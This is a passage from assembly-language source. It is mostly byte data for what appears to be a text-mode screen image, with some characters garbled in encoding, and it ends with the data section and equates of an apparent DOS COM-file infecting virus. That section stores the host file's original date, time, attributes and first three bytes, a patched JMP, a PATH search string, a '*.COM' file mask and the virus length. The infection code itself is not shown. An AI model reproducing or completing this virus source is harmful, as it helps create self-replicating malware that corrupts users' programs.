DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,15,142,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 6,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,'<27>',10,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,'<27>',10,'<27>',10,'<27>',10,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'<27>'
|
|||
|
DB 10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'<27>',10,'<27>'
|
|||
|
DB 10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,'<27>',10,'<27>',10,'<27>'
|
|||
|
DB 10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,'<27>',10,'<27>',10,'<27>',10,'<27>'
|
|||
|
DB 10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>'
|
|||
|
DB 10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>',10,'<27>'
|
|||
|
DB 10,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,'<27>',6,'<27>',6,'<27>',6,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
DB ' ',6,' ',6,' ',6,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
|
|||
|
DB 15,' ',15,' ',15,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
|
|||
|
DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
|
|||
|
DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
|
|||
|
DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
|
|||
|
DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
|
|||
|
DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
|
|||
|
DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
|
|||
|
DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
|
|||
|
DB 6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
|
|||
|
DB 6,' ',6
|
|||
|
|
|||
|
olddta_ DW 0
|
|||
|
olddts_ DW 0
|
|||
|
oldtim_ DW 0
|
|||
|
oldate_ DW 0
|
|||
|
oldatt_ DW 0
|
|||
|
first3_ EQU $
|
|||
|
INT 20H
|
|||
|
NOP
|
|||
|
jmpop_ DB 0E9H
|
|||
|
jmpdsp_ DW 0
|
|||
|
pathad_ DW 0
|
|||
|
namptr_ DW 0
|
|||
|
envstr_ DB 'PATH='
|
|||
|
fspec_ DB '*.COM',0
|
|||
|
wrkspc_ DB 40h dup (0)
|
|||
|
dta_ DB 16h dup (0)
|
|||
|
dtatim_ DW 0,0
|
|||
|
dtalen_ DW 0,0
|
|||
|
dtanam_ DB 0Dh dup (0)
|
|||
|
lst_byt EQU $
|
|||
|
|
|||
|
virlen = lst_byt - v_start
|
|||
|
codelen = vir_dat - v_start
|
|||
|
c_len_x = vir_dat - v_start - 2
|
|||
|
c_len_y = vir_dat - v_start + 100H
|
|||
|
old_dta = olddta_ - vir_dat
|
|||
|
old_dts = olddts_ - vir_dat
|
|||
|
old_tim = oldtim_ - vir_dat
|
|||
|
ol_date = oldate_ - vir_dat
|
|||
|
old_att = oldatt_ - vir_dat
|
|||
|
first_3 = first3_ - vir_dat
|
|||
|
jmp_op = jmpop_ - vir_dat
|
|||
|
jmp_dsp = jmpdsp_ - vir_dat
|
|||
|
f_spec = fspec_ - vir_dat
|
|||
|
path_ad = pathad_ - vir_dat
|
|||
|
nam_ptr = namptr_ - vir_dat
|
|||
|
env_str = envstr_ - vir_dat
|
|||
|
wrk_spc = wrkspc_ - vir_dat
|
|||
|
dta = dta_ - vir_dat
|
|||
|
dta_tim = dtatim_ - vir_dat
|
|||
|
dta_len = dtalen_ - vir_dat
|
|||
|
dta_nam = dtanam_ - vir_dat
|
|||
|
|
|||
|
CODE ENDS
|
|||
|
END VCODE
|
|||
|
|
|||
|
|